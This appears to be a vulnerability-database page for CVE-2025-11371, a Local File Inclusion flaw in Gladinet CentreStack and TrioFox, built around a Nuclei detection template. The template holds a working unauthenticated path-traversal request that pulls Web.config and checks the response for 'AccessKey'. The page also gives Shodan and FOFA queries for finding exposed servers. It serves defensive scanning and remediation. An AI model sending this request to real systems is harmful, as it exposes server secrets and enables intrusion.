Materialized exploit
CVE-2025-11371
HIGH KEV1 public exploit(s) for this CVE, 1 materialized with their code.
For defensive research only. Only test on systems you own or have written authorization for. Unauthorized access is illegal.
Nuclei
medium Verified
Source
Gladinet CentreStack & TrioFox - Local File Inclusion
By projectdiscovery
How to test this exploit
The Nuclei template IS the test: an executable detection rule. Install nuclei, then run it against a target you control.
nuclei -id CVE-2025-11371 -u https://your-target
Template yaml
id: CVE-2025-11371
info:
name: Gladinet CentreStack & TrioFox - Local File Inclusion
author: Kazgangap
severity: medium
description: |
In the default installation and configuration of Gladinet CentreStack and TrioFox, there is an unauthenticated Local File Inclusion Flaw that allows unintended disclosure of system files. Exploitation of this vulnerability has been observed in the wild. This issue impacts Gladinet CentreStack and Triofox: All versions prior to and including 16.7.10368.56560
impact: |
Unauthenticated attackers can disclose sensitive system files, potentially leading to information leakage.
remediation: |
Update to a version later than 16.7.10368.56560 or the latest available version.
reference:
- https://www.huntress.com/blog/gladinet-centrestack-triofox-local-file-inclusion-flaw
- https://github.com/Kazgangap/cve-poc-garage/blob/main/2025/CVE-2025-11371.md
- https://thehackernews.com/2025/10/from-lfi-to-rce-active-exploitation.html
- https://nvd.nist.gov/vuln/detail/CVE-2025-11371
classification:
cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 6.2
cve-id: CVE-2025-11371
cwe-id: CWE-552
epss-score: 0.92094
epss-percentile: 0.99813
metadata:
verified: true
max-request: 1
shodan-query: title:"CentreStack"
fofa-query: "CentreStack - Login"
tags: cve,cve2025,gladinet,lfi,centrestack,vkev,vuln,kev
http:
- raw:
- |
GET /storage/t.dn?s=..%5C..%5C..%5CProgram+Files+(x86)%5CGladinet+Cloud+Enterprise%5Croot%5CWeb.config&sid=1 HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'contains_all(body, "<configuration>", "<system.web>", "AccessKey")'
- 'contains(content_type, "application/octet-stream")'
- 'status_code == 200'
condition: and
# digest: 490a0046304402201496060f1152ad564209dd460ffca0d980cd25dfa2f1ae20414c93ccc4188c940220449c6f4f85bdf5620c91c93d54efafd643d9fe47bf85a166e4a0d1296c805121:922c64590222798bb761d5b6d8e72950